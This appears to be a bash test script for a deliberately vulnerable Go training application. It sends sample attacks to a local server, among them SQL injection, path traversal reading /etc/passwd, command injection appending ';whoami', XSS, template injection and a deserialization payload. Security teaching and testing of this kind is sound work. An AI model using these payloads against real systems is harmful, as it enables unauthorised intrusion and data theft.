#!/bin/bash

# SPDX-License-Identifier: Apache-2.0
# Copyright 2025 Damn Vulnerable Go Application

echo "🧪 Testing Damn Vulnerable Go Application Vulnerabilities"
echo "⚠️  WARNING: This script tests intentional security vulnerabilities!"
echo ""

BASE_URL="http://localhost:8080"

# Check if server is running
echo "🔍 Checking if server is running..."
if ! curl -s "$BASE_URL" > /dev/null; then
    echo "❌ Server is not running. Please start it first with: ./vulnerable_app"
    exit 1
fi

echo "✅ Server is running!"
echo ""

# Test 1: SQL Injection
echo "🎯 Test 1: SQL Injection"
echo "Testing: $BASE_URL/login?username=admin'--&password=anything"
curl -s "$BASE_URL/login?username=admin'--&password=anything"
echo -e "\n"

# Test 2: Path Traversal
echo "🎯 Test 2: Path Traversal"
echo "Testing: $BASE_URL/file?file=../../../etc/passwd"
curl -s "$BASE_URL/file?file=../../../etc/passwd" | head -5
echo -e "\n"

# Test 3: Command Injection
echo "🎯 Test 3: Command Injection"
echo "Testing: $BASE_URL/ping?host=127.0.0.1;whoami"
curl -s "$BASE_URL/ping?host=127.0.0.1;whoami"
echo -e "\n"

# Test 4: XSS
echo "🎯 Test 4: Cross-Site Scripting (XSS)"
echo "Testing: $BASE_URL/search?q=<script>alert('XSS')</script>"
curl -s "$BASE_URL/search?q=<script>alert('XSS')</script>"
echo -e "\n"

# Test 5: Information Disclosure
echo "🎯 Test 5: Information Disclosure"
echo "Testing: $BASE_URL/debug"
curl -s "$BASE_URL/debug" | head -10
echo -e "\n"

# Test 6: CSRF
echo "🎯 Test 6: Cross-Site Request Forgery (CSRF)"
echo "Testing: $BASE_URL/delete?id=999"
curl -s "$BASE_URL/delete?id=999"
echo -e "\n"

# Test 7: Race Condition
echo "🎯 Test 7: Race Condition"
echo "Testing: $BASE_URL/counter (multiple concurrent requests)"
for i in {1..5}; do
    curl -s "$BASE_URL/counter" &
done
wait
echo -e "\n"

# Test 8: Integer Overflow
echo "🎯 Test 8: Integer Overflow"
echo "Testing: $BASE_URL/calculate?a=999999999&b=999999999"
curl -s "$BASE_URL/calculate?a=999999999&b=999999999"
echo -e "\n"

# Test 9: Template Injection
echo "🎯 Test 9: Template Injection"
echo "Testing: $BASE_URL/template?template={{.}}"
curl -s "$BASE_URL/template?template={{.}}"
echo -e "\n"

# Test 10: Insecure Deserialization
echo "🎯 Test 10: Insecure Deserialization"
echo "Testing: $BASE_URL/deserialize?data=exec:dangerous_command"
curl -s "$BASE_URL/deserialize?data=exec:dangerous_command"
echo -e "\n"

echo "🏁 Vulnerability testing complete!"
echo "📚 See VULNERABILITIES.md for detailed explanations of each vulnerability"